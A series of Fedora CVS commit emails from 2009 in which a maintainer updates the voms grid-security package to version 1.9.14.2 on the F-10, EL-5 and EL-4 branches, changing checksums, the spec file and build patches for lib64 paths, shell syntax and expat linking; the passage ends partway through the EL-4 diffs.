diff -u -p -r1.2 -r1.3
--- import.log	21 Sep 2009 05:00:26 -0000	1.2
+++ import.log	21 Oct 2009 16:01:22 -0000	1.3
@@ -1,2 +1,3 @@
 voms-1_9_11-4_fc11:F-10:voms-1.9.11-4.fc11.src.rpm:1252550169
 voms-1_9_12_1-1_fc11:F-10:voms-1.9.12.1-1.fc11.src.rpm:1253509196
+voms-1_9_14_2-1_fc11:F-10:voms-1.9.14.2-1.fc11.src.rpm:1256140831


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	21 Sep 2009 05:00:26 -0000	1.3
+++ sources	21 Oct 2009 16:01:22 -0000	1.4
@@ -1 +1 @@
-8f4df625122198faa509453e9df9950e  voms-1.9.12.1.tar.gz
+b7d5b886e61d73c343a6686d5aa3eafe  voms-1.9.14.2.tar.gz

voms-nolib64.patch:
 configure.ac |   12 ------------
 1 file changed, 12 deletions(-)

Index: voms-nolib64.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-10/voms-nolib64.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-nolib64.patch	10 Sep 2009 02:36:46 -0000	1.1
+++ voms-nolib64.patch	21 Oct 2009 16:01:22 -0000	1.2
@@ -1,7 +1,7 @@
-diff -ur voms-1.9.8.1.orig/configure.ac voms-1.9.8.1/configure.ac
---- voms-1.9.8.1.orig/configure.ac	2009-04-16 15:57:03.000000000 +0200
-+++ voms-1.9.8.1/configure.ac	2009-07-02 12:16:10.035379837 +0200
-@@ -37,10 +37,6 @@
+diff -ur voms-1.9.14.2.orig/configure.ac voms-1.9.14.2/configure.ac
+--- voms-1.9.14.2.orig/configure.ac	2009-10-15 10:29:56.000000000 +0200
++++ voms-1.9.14.2/configure.ac	2009-10-20 09:30:50.748114823 +0200
+@@ -36,18 +36,6 @@
  
  AC_ENABLE_GLITE([], have_glite=yes, have_glite=no) # embed AC_GLITE
  
@@ -9,6 +9,14 @@ diff -ur voms-1.9.8.1.orig/configure.ac 
 -    AC_SUBST([libdir], ['${exec_prefix}/lib64'])
 -fi
 -
+-if test -h /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
+-if ! test -e /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
  AC_EXPAT([], have_expat=yes, have_expat=no)        # taken from org.glite
  AC_CPPUNIT([], have_cppunit=yes, have_cppunit=no)  # taken from org.glite
  AC_GLOBUS([], have_globus=yes, have_globus=no)

voms-portability.patch:
 configure.ac              |    2 -
 project/acinclude.m4      |    8 +++++--
 src/api/ccapi/Makefile.am |   42 ++++++++++++++++++++---------------------
 src/socklib/Makefile.am   |   47 +++++++++++++++++++++++++++-------------------
 4 files changed, 56 insertions(+), 43 deletions(-)

Index: voms-portability.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-10/voms-portability.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms-portability.patch	21 Sep 2009 05:00:26 -0000	1.2
+++ voms-portability.patch	21 Oct 2009 16:01:23 -0000	1.3
@@ -1,9 +1,8 @@
 diff -ur voms-1.9.11.orig/configure.ac voms-1.9.11/configure.ac
 --- voms-1.9.11.orig/configure.ac	2009-07-16 15:10:39.000000000 +0200
 +++ voms-1.9.11/configure.ac	2009-09-08 14:13:33.244334250 +0200
-@@ -1,6 +1,6 @@
- 
- AC_INIT([GLite Security VOMS], [1.9.12])
+@@ -0,5 +0,5 @@
+ AC_INIT([GLite Security VOMS], [1.9.14])
 -AC_PREREQ(2.59)
 +AC_PREREQ(2.57)
  AC_CONFIG_AUX_DIR([./project])

voms-shell-syntax.patch:
 mysql2oracle.in |    5 ++---
 voms-ping       |    4 ++--
 2 files changed, 4 insertions(+), 5 deletions(-)

Index: voms-shell-syntax.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-10/voms-shell-syntax.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-shell-syntax.patch	10 Sep 2009 02:36:46 -0000	1.1
+++ voms-shell-syntax.patch	21 Oct 2009 16:01:23 -0000	1.2
@@ -1,29 +1,30 @@
-diff -ur voms-1.9.8.1.orig/src/install/mysql2oracle.in voms-1.9.8.1/src/install/mysql2oracle.in
---- voms-1.9.8.1.orig/src/install/mysql2oracle.in	2005-09-27 16:23:56.000000000 +0200
-+++ voms-1.9.8.1/src/install/mysql2oracle.in	2009-07-02 18:40:14.000000000 +0200
-@@ -2,7 +2,7 @@
- #!/bin/sh
+diff -ur voms-1.9.14.2.orig/src/install/mysql2oracle.in voms-1.9.14.2/src/install/mysql2oracle.in
+--- voms-1.9.14.2.orig/src/install/mysql2oracle.in	2009-07-16 15:10:40.000000000 +0200
++++ voms-1.9.14.2/src/install/mysql2oracle.in	2009-10-20 10:47:24.767113029 +0200
+@@ -1,8 +1,7 @@
+-#!/bin/sh
++#!/bin/bash
  #set -x
  
 -function usage()
-+function usage
- {
+-{
++usage () {
      echo
      echo "usage : mysql2oracle [OPTIONS]"
-diff -ur voms-1.9.8.1.orig/src/install/voms-ping voms-1.9.8.1/src/install/voms-ping
---- voms-1.9.8.1.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
-+++ voms-1.9.8.1/src/install/voms-ping	2009-07-02 18:42:24.000000000 +0200
-@@ -25,7 +25,8 @@
+     echo
+diff -ur voms-1.9.14.2.orig/src/install/voms-ping voms-1.9.14.2/src/install/voms-ping
+--- voms-1.9.14.2.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
++++ voms-1.9.14.2/src/install/voms-ping	2009-10-20 10:46:58.686114743 +0200
+@@ -25,7 +25,7 @@
    echo "  ]"
  }
  
 -function test_vo {
-+function test_vo
-+{
++test_vo() {
     local voname="$1"
     local port=`cat $GLITE_LOCATION/etc/voms/$voname/voms.conf  | grep '^--port' | sed 's/^--port=//'`
     local dn=`openssl x509 -subject -noout -in /etc/grid-security/hostcert.pem|cut -d' ' -f2-`
-@@ -41,7 +42,7 @@
+@@ -41,7 +41,7 @@
  "$voname" "localhost" "$port" "$dn" "$voname"
  EOF
     rm -f /tmp/oo


Index: voms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/voms/F-10/voms.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms.spec	21 Sep 2009 05:00:26 -0000	1.2
+++ voms.spec	21 Oct 2009 16:01:23 -0000	1.3
@@ -1,7 +1,7 @@
 %global with_gcj %{!?_without_gcj:1}%{?_without_gcj:0}
 
 Name:		voms
-Version:	1.9.12.1
+Version:	1.9.14.2
 Release:	1%{?dist}
 Summary:	Virtual Organization Membership Service
 
@@ -10,9 +10,9 @@ License:	ASL 2.0
 URL:		http://glite.web.cern.ch/glite/
 #		The source tarball is created from a CVS checkout:
 #		cvs -d:pserver:anonymous:@glite.cvs.cern.ch:/cvs/glite co \
-#		  -r glite-security-voms_R_1_9_12_1 \
-#		  -d voms-1.9.12.1 org.glite.security.voms
-#		tar -z -c --exclude CVS -f voms-1.9.12.1.tar.gz voms-1.9.12.1
+#		  -r glite-security-voms_R_1_9_14_2 \
+#		  -d voms-1.9.14.2 org.glite.security.voms
+#		tar -z -c --exclude CVS -f voms-1.9.14.2.tar.gz voms-1.9.14.2
 Source:		%{name}-%{version}.tar.gz
 #		Post-install setup instructions:
 Source1:	%{name}.INSTALL
@@ -61,6 +61,9 @@ Patch13:	%{name}-openssl.patch
 #		Unconditional use of PIPE_BUF
 #		https://savannah.cern.ch/bugs/?55405
 Patch14:	%{name}-pipe-buf.patch
+#		Make sure -L/usr/lib and -L/usr/lib64 is not used
+#		https://savannah.cern.ch/bugs/?57261
+Patch15:	%{name}-expat.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	globus-gssapi-gsi-devel%{?_isa}
@@ -78,7 +81,7 @@ BuildRequires:	tex(latex)
 BuildRequires:	tetex-latex
 %endif
 
-BuildRequires:	java-devel
+BuildRequires:	java-devel >= 1:1.6.0
 BuildRequires:	jpackage-utils
 BuildRequires:	bouncycastle >= 1.39
 BuildRequires:	jakarta-commons-cli
@@ -217,6 +220,7 @@ Virtual Organization Membership Service 
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 # Fix bad permissions (which otherwise end up in the debuginfo package)
 find . '(' -name '*.h' -o -name '*.c' -o -name '*.cpp' -o \
@@ -456,6 +460,9 @@ fi
 %doc %{_javadocdir}/vomsjapi-%{version}
 
 %changelog
+* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
+- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)
+
 * Fri Sep 18 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.12.1-1
 - Upstream 1.9.12.1 (CVS tag glite-security-voms_R_1_9_12_1)
 



From ellert at fedoraproject.org  Wed Oct 21 16:02:59 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed, 21 Oct 2009 16:02:59 +0000 (UTC)
Subject: rpms/voms/EL-5 voms-expat.patch, NONE, 1.1 .cvsignore, 1.3,
	1.4 import.log, 1.2, 1.3 sources, 1.3, 1.4 voms-nolib64.patch,
	1.1, 1.2 voms-portability.patch, 1.2,
	1.3 voms-shell-syntax.patch, 1.1, 1.2 voms.spec, 1.2, 1.3
Message-ID: <20091021160259.5E99411C00E8@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/voms/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28196/EL-5

Modified Files:
	.cvsignore import.log sources voms-nolib64.patch 
	voms-portability.patch voms-shell-syntax.patch voms.spec 
Added Files:
	voms-expat.patch 
Log Message:
* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)


voms-expat.patch:
 expat.m4 |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE voms-expat.patch ---
diff -ur voms-1.9.14.2.orig/project/expat.m4 voms-1.9.14.2/project/expat.m4
--- voms-1.9.14.2.orig/project/expat.m4	2009-02-04 15:54:28.000000000 +0100
+++ voms-1.9.14.2/project/expat.m4	2009-10-20 12:39:11.202112514 +0200
@@ -19,13 +19,13 @@
     ac_save_CFLAGS=$CFLAGS
     ac_save_LIBS=$LIBS
     if test -n "$with_expat_prefix" -a "$with_expat_prefix" != "/usr" ; then
-  EXPAT_CFLAGS="-I$with_expat_prefix/include"
+	EXPAT_CFLAGS="-I$with_expat_prefix/include"
 	EXPAT_LIBS="-L$with_expat_prefix/lib"
-  EXPAT_LIBS64="-L$with_expat_prefix/lib64"
+	EXPAT_LIBS64="-L$with_expat_prefix/lib64"
     else
 	EXPAT_CFLAGS=""
-	EXPAT_LIBS="-L/usr/lib"
-	EXPAT_LIBS64="-L/usr/lib64"
+	EXPAT_LIBS=""
+	EXPAT_LIBS64=""
     fi
 
     EXPAT_LIBS="$EXPAT_LIBS -lexpat"	
@@ -49,13 +49,13 @@
 #    echo "ac_cv_expat_valid64=$ac_cv_expat_valid64"
     if test x$ac_cv_expat_valid64 = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
-      EXPAT_LIBS="-L$with_expat_prefix/lib64 -lexpat"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib64/libexpat.a"
+      EXPAT_LIBS=$EXPAT_LIBS64
       AC_MSG_RESULT([$ac_cv_expat_valid64 (in lib64)])
     	ifelse([$2], , :, [$2])
     elif test x$ac_cv_expat_valid = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
       AC_MSG_RESULT([$ac_cv_expat_valid (in lib)])
     	ifelse([$2], , :, [$2])
     else


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Sep 2009 05:01:30 -0000	1.3
+++ .cvsignore	21 Oct 2009 16:02:58 -0000	1.4
@@ -1 +1 @@
-voms-1.9.12.1.tar.gz
+voms-1.9.14.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-5/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	21 Sep 2009 05:01:30 -0000	1.2
+++ import.log	21 Oct 2009 16:02:58 -0000	1.3
@@ -1,2 +1,3 @@
 voms-1_9_11-4_el5:EL-5:voms-1.9.11-4.el5.src.rpm:1252550329
 voms-1_9_12_1-1_el5:EL-5:voms-1.9.12.1-1.el5.src.rpm:1253509256
+voms-1_9_14_2-1_el5:EL-5:voms-1.9.14.2-1.el5.src.rpm:1256140945


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	21 Sep 2009 05:01:30 -0000	1.3
+++ sources	21 Oct 2009 16:02:58 -0000	1.4
@@ -1 +1 @@
-8f4df625122198faa509453e9df9950e  voms-1.9.12.1.tar.gz
+b7d5b886e61d73c343a6686d5aa3eafe  voms-1.9.14.2.tar.gz

voms-nolib64.patch:
 configure.ac |   12 ------------
 1 file changed, 12 deletions(-)

Index: voms-nolib64.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-5/voms-nolib64.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-nolib64.patch	10 Sep 2009 02:39:25 -0000	1.1
+++ voms-nolib64.patch	21 Oct 2009 16:02:58 -0000	1.2
@@ -1,7 +1,7 @@
-diff -ur voms-1.9.8.1.orig/configure.ac voms-1.9.8.1/configure.ac
---- voms-1.9.8.1.orig/configure.ac	2009-04-16 15:57:03.000000000 +0200
-+++ voms-1.9.8.1/configure.ac	2009-07-02 12:16:10.035379837 +0200
-@@ -37,10 +37,6 @@
+diff -ur voms-1.9.14.2.orig/configure.ac voms-1.9.14.2/configure.ac
+--- voms-1.9.14.2.orig/configure.ac	2009-10-15 10:29:56.000000000 +0200
++++ voms-1.9.14.2/configure.ac	2009-10-20 09:30:50.748114823 +0200
+@@ -36,18 +36,6 @@
  
  AC_ENABLE_GLITE([], have_glite=yes, have_glite=no) # embed AC_GLITE
  
@@ -9,6 +9,14 @@ diff -ur voms-1.9.8.1.orig/configure.ac 
 -    AC_SUBST([libdir], ['${exec_prefix}/lib64'])
 -fi
 -
+-if test -h /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
+-if ! test -e /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
  AC_EXPAT([], have_expat=yes, have_expat=no)        # taken from org.glite
  AC_CPPUNIT([], have_cppunit=yes, have_cppunit=no)  # taken from org.glite
  AC_GLOBUS([], have_globus=yes, have_globus=no)

voms-portability.patch:
 configure.ac              |    2 -
 project/acinclude.m4      |    8 +++++--
 src/api/ccapi/Makefile.am |   42 ++++++++++++++++++++---------------------
 src/socklib/Makefile.am   |   47 +++++++++++++++++++++++++++-------------------
 4 files changed, 56 insertions(+), 43 deletions(-)

Index: voms-portability.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-5/voms-portability.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms-portability.patch	21 Sep 2009 05:01:30 -0000	1.2
+++ voms-portability.patch	21 Oct 2009 16:02:58 -0000	1.3
@@ -1,9 +1,8 @@
 diff -ur voms-1.9.11.orig/configure.ac voms-1.9.11/configure.ac
 --- voms-1.9.11.orig/configure.ac	2009-07-16 15:10:39.000000000 +0200
 +++ voms-1.9.11/configure.ac	2009-09-08 14:13:33.244334250 +0200
-@@ -1,6 +1,6 @@
- 
- AC_INIT([GLite Security VOMS], [1.9.12])
+@@ -0,5 +0,5 @@
+ AC_INIT([GLite Security VOMS], [1.9.14])
 -AC_PREREQ(2.59)
 +AC_PREREQ(2.57)
  AC_CONFIG_AUX_DIR([./project])

voms-shell-syntax.patch:
 mysql2oracle.in |    5 ++---
 voms-ping       |    4 ++--
 2 files changed, 4 insertions(+), 5 deletions(-)

Index: voms-shell-syntax.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-5/voms-shell-syntax.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-shell-syntax.patch	10 Sep 2009 02:39:25 -0000	1.1
+++ voms-shell-syntax.patch	21 Oct 2009 16:02:58 -0000	1.2
@@ -1,29 +1,30 @@
-diff -ur voms-1.9.8.1.orig/src/install/mysql2oracle.in voms-1.9.8.1/src/install/mysql2oracle.in
---- voms-1.9.8.1.orig/src/install/mysql2oracle.in	2005-09-27 16:23:56.000000000 +0200
-+++ voms-1.9.8.1/src/install/mysql2oracle.in	2009-07-02 18:40:14.000000000 +0200
-@@ -2,7 +2,7 @@
- #!/bin/sh
+diff -ur voms-1.9.14.2.orig/src/install/mysql2oracle.in voms-1.9.14.2/src/install/mysql2oracle.in
+--- voms-1.9.14.2.orig/src/install/mysql2oracle.in	2009-07-16 15:10:40.000000000 +0200
++++ voms-1.9.14.2/src/install/mysql2oracle.in	2009-10-20 10:47:24.767113029 +0200
+@@ -1,8 +1,7 @@
+-#!/bin/sh
++#!/bin/bash
  #set -x
  
 -function usage()
-+function usage
- {
+-{
++usage () {
      echo
      echo "usage : mysql2oracle [OPTIONS]"
-diff -ur voms-1.9.8.1.orig/src/install/voms-ping voms-1.9.8.1/src/install/voms-ping
---- voms-1.9.8.1.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
-+++ voms-1.9.8.1/src/install/voms-ping	2009-07-02 18:42:24.000000000 +0200
-@@ -25,7 +25,8 @@
+     echo
+diff -ur voms-1.9.14.2.orig/src/install/voms-ping voms-1.9.14.2/src/install/voms-ping
+--- voms-1.9.14.2.orig/src/install/voms-ping	2008-12-23 11:46:01.000000000 +0100
++++ voms-1.9.14.2/src/install/voms-ping	2009-10-20 10:46:58.686114743 +0200
+@@ -25,7 +25,7 @@
    echo "  ]"
  }
  
 -function test_vo {
-+function test_vo
-+{
++test_vo() {
     local voname="$1"
     local port=`cat $GLITE_LOCATION/etc/voms/$voname/voms.conf  | grep '^--port' | sed 's/^--port=//'`
     local dn=`openssl x509 -subject -noout -in /etc/grid-security/hostcert.pem|cut -d' ' -f2-`
-@@ -41,7 +42,7 @@
+@@ -41,7 +41,7 @@
  "$voname" "localhost" "$port" "$dn" "$voname"
  EOF
     rm -f /tmp/oo


Index: voms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-5/voms.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms.spec	21 Sep 2009 05:01:30 -0000	1.2
+++ voms.spec	21 Oct 2009 16:02:58 -0000	1.3
@@ -1,5 +1,5 @@
 Name:		voms
-Version:	1.9.12.1
+Version:	1.9.14.2
 Release:	1%{?dist}
 Summary:	Virtual Organization Membership Service
 
@@ -8,9 +8,9 @@ License:	ASL 2.0
 URL:		http://glite.web.cern.ch/glite/
 #		The source tarball is created from a CVS checkout:
 #		cvs -d:pserver:anonymous:@glite.cvs.cern.ch:/cvs/glite co \
-#		  -r glite-security-voms_R_1_9_12_1 \
-#		  -d voms-1.9.12.1 org.glite.security.voms
-#		tar -z -c --exclude CVS -f voms-1.9.12.1.tar.gz voms-1.9.12.1
+#		  -r glite-security-voms_R_1_9_14_2 \
+#		  -d voms-1.9.14.2 org.glite.security.voms
+#		tar -z -c --exclude CVS -f voms-1.9.14.2.tar.gz voms-1.9.14.2
 Source:		%{name}-%{version}.tar.gz
 #		Post-install setup instructions:
 Source1:	%{name}.INSTALL
@@ -59,6 +59,9 @@ Patch13:	%{name}-openssl.patch
 #		Unconditional use of PIPE_BUF
 #		https://savannah.cern.ch/bugs/?55405
 Patch14:	%{name}-pipe-buf.patch
+#		Make sure -L/usr/lib and -L/usr/lib64 is not used
+#		https://savannah.cern.ch/bugs/?57261
+Patch15:	%{name}-expat.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	globus-gssapi-gsi-devel%{?_isa}
@@ -166,6 +169,7 @@ administrate it remotely using command l
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 # Fix bad permissions (which otherwise end up in the debuginfo package)
 find . '(' -name '*.h' -o -name '*.c' -o -name '*.cpp' -o \
@@ -357,6 +361,9 @@ fi
 %doc INSTALL.Fedora
 
 %changelog
+* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
+- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)
+
 * Fri Sep 18 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.12.1-1
 - Upstream 1.9.12.1 (CVS tag glite-security-voms_R_1_9_12_1)
 



From ellert at fedoraproject.org  Wed Oct 21 16:04:10 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Wed, 21 Oct 2009 16:04:10 +0000 (UTC)
Subject: rpms/voms/EL-4 voms-expat.patch, NONE, 1.1 .cvsignore, 1.3,
	1.4 import.log, 1.2, 1.3 sources, 1.3, 1.4 voms-nolib64.patch,
	1.1, 1.2 voms-portability.patch, 1.2,
	1.3 voms-shell-syntax.patch, 1.1, 1.2 voms.spec, 1.2, 1.3
Message-ID: <20091021160410.0B5AC11C00E8@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/voms/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28701/EL-4

Modified Files:
	.cvsignore import.log sources voms-nolib64.patch 
	voms-portability.patch voms-shell-syntax.patch voms.spec 
Added Files:
	voms-expat.patch 
Log Message:
* Tue Oct 20 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 1.9.14.2-1
- Upstream 1.9.14.2 (CVS tag glite-security-voms_R_1_9_14_2)


voms-expat.patch:
 expat.m4 |   14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE voms-expat.patch ---
diff -ur voms-1.9.14.2.orig/project/expat.m4 voms-1.9.14.2/project/expat.m4
--- voms-1.9.14.2.orig/project/expat.m4	2009-02-04 15:54:28.000000000 +0100
+++ voms-1.9.14.2/project/expat.m4	2009-10-20 12:39:11.202112514 +0200
@@ -19,13 +19,13 @@
     ac_save_CFLAGS=$CFLAGS
     ac_save_LIBS=$LIBS
     if test -n "$with_expat_prefix" -a "$with_expat_prefix" != "/usr" ; then
-  EXPAT_CFLAGS="-I$with_expat_prefix/include"
+	EXPAT_CFLAGS="-I$with_expat_prefix/include"
 	EXPAT_LIBS="-L$with_expat_prefix/lib"
-  EXPAT_LIBS64="-L$with_expat_prefix/lib64"
+	EXPAT_LIBS64="-L$with_expat_prefix/lib64"
     else
 	EXPAT_CFLAGS=""
-	EXPAT_LIBS="-L/usr/lib"
-	EXPAT_LIBS64="-L/usr/lib64"
+	EXPAT_LIBS=""
+	EXPAT_LIBS64=""
     fi
 
     EXPAT_LIBS="$EXPAT_LIBS -lexpat"	
@@ -49,13 +49,13 @@
 #    echo "ac_cv_expat_valid64=$ac_cv_expat_valid64"
     if test x$ac_cv_expat_valid64 = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
-      EXPAT_LIBS="-L$with_expat_prefix/lib64 -lexpat"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib64/libexpat.a"
+      EXPAT_LIBS=$EXPAT_LIBS64
       AC_MSG_RESULT([$ac_cv_expat_valid64 (in lib64)])
     	ifelse([$2], , :, [$2])
     elif test x$ac_cv_expat_valid = xyes ; then
       EXPAT_INSTALL_PATH=$with_expat_prefix
-    	EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
+      EXPAT_STATIC_LIBS="$with_expat_prefix/lib/libexpat.a"
       AC_MSG_RESULT([$ac_cv_expat_valid (in lib)])
     	ifelse([$2], , :, [$2])
     else


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-4/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	21 Sep 2009 05:02:18 -0000	1.3
+++ .cvsignore	21 Oct 2009 16:04:09 -0000	1.4
@@ -1 +1 @@
-voms-1.9.12.1.tar.gz
+voms-1.9.14.2.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-4/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	21 Sep 2009 05:02:18 -0000	1.2
+++ import.log	21 Oct 2009 16:04:09 -0000	1.3
@@ -1,2 +1,3 @@
 voms-1_9_11-4_el5:EL-4:voms-1.9.11-4.el5.src.rpm:1252550473
 voms-1_9_12_1-1_el5:EL-4:voms-1.9.12.1-1.el5.src.rpm:1253509314
+voms-1_9_14_2-1_el5:EL-4:voms-1.9.14.2-1.el5.src.rpm:1256141012


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-4/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	21 Sep 2009 05:02:18 -0000	1.3
+++ sources	21 Oct 2009 16:04:09 -0000	1.4
@@ -1 +1 @@
-8f4df625122198faa509453e9df9950e  voms-1.9.12.1.tar.gz
+b7d5b886e61d73c343a6686d5aa3eafe  voms-1.9.14.2.tar.gz

voms-nolib64.patch:
 configure.ac |   12 ------------
 1 file changed, 12 deletions(-)

Index: voms-nolib64.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-4/voms-nolib64.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-nolib64.patch	10 Sep 2009 02:41:43 -0000	1.1
+++ voms-nolib64.patch	21 Oct 2009 16:04:09 -0000	1.2
@@ -1,7 +1,7 @@
-diff -ur voms-1.9.8.1.orig/configure.ac voms-1.9.8.1/configure.ac
---- voms-1.9.8.1.orig/configure.ac	2009-04-16 15:57:03.000000000 +0200
-+++ voms-1.9.8.1/configure.ac	2009-07-02 12:16:10.035379837 +0200
-@@ -37,10 +37,6 @@
+diff -ur voms-1.9.14.2.orig/configure.ac voms-1.9.14.2/configure.ac
+--- voms-1.9.14.2.orig/configure.ac	2009-10-15 10:29:56.000000000 +0200
++++ voms-1.9.14.2/configure.ac	2009-10-20 09:30:50.748114823 +0200
+@@ -36,18 +36,6 @@
  
  AC_ENABLE_GLITE([], have_glite=yes, have_glite=no) # embed AC_GLITE
  
@@ -9,6 +9,14 @@ diff -ur voms-1.9.8.1.orig/configure.ac 
 -    AC_SUBST([libdir], ['${exec_prefix}/lib64'])
 -fi
 -
+-if test -h /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
+-if ! test -e /usr/lib64 ; then
+-    libdir='${exec_prefix}/lib'
+-fi
+-
  AC_EXPAT([], have_expat=yes, have_expat=no)        # taken from org.glite
  AC_CPPUNIT([], have_cppunit=yes, have_cppunit=no)  # taken from org.glite
  AC_GLOBUS([], have_globus=yes, have_globus=no)

voms-portability.patch:
 configure.ac              |    2 -
 project/acinclude.m4      |    8 +++++--
 src/api/ccapi/Makefile.am |   42 ++++++++++++++++++++---------------------
 src/socklib/Makefile.am   |   47 +++++++++++++++++++++++++++-------------------
 4 files changed, 56 insertions(+), 43 deletions(-)

Index: voms-portability.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-4/voms-portability.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- voms-portability.patch	21 Sep 2009 05:02:18 -0000	1.2
+++ voms-portability.patch	21 Oct 2009 16:04:09 -0000	1.3
@@ -1,9 +1,8 @@
 diff -ur voms-1.9.11.orig/configure.ac voms-1.9.11/configure.ac
 --- voms-1.9.11.orig/configure.ac	2009-07-16 15:10:39.000000000 +0200
 +++ voms-1.9.11/configure.ac	2009-09-08 14:13:33.244334250 +0200
-@@ -1,6 +1,6 @@
- 
- AC_INIT([GLite Security VOMS], [1.9.12])
+@@ -0,5 +0,5 @@
+ AC_INIT([GLite Security VOMS], [1.9.14])
 -AC_PREREQ(2.59)
 +AC_PREREQ(2.57)
  AC_CONFIG_AUX_DIR([./project])

voms-shell-syntax.patch:
 mysql2oracle.in |    5 ++---
 voms-ping       |    4 ++--
 2 files changed, 4 insertions(+), 5 deletions(-)

Index: voms-shell-syntax.patch
===================================================================
RCS file: /cvs/pkgs/rpms/voms/EL-4/voms-shell-syntax.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- voms-shell-syntax.patch	10 Sep 2009 02:41:43 -0000	1.1
+++ voms-shell-syntax.patch	21 Oct 2009 16:04:09 -0000	1.2
@@ -1,29 +1,30 @@
-diff -ur voms-1.9.8.1.orig/src/install/mysql2oracle.in voms-1.9.8.1/src/install/mysql2oracle.in
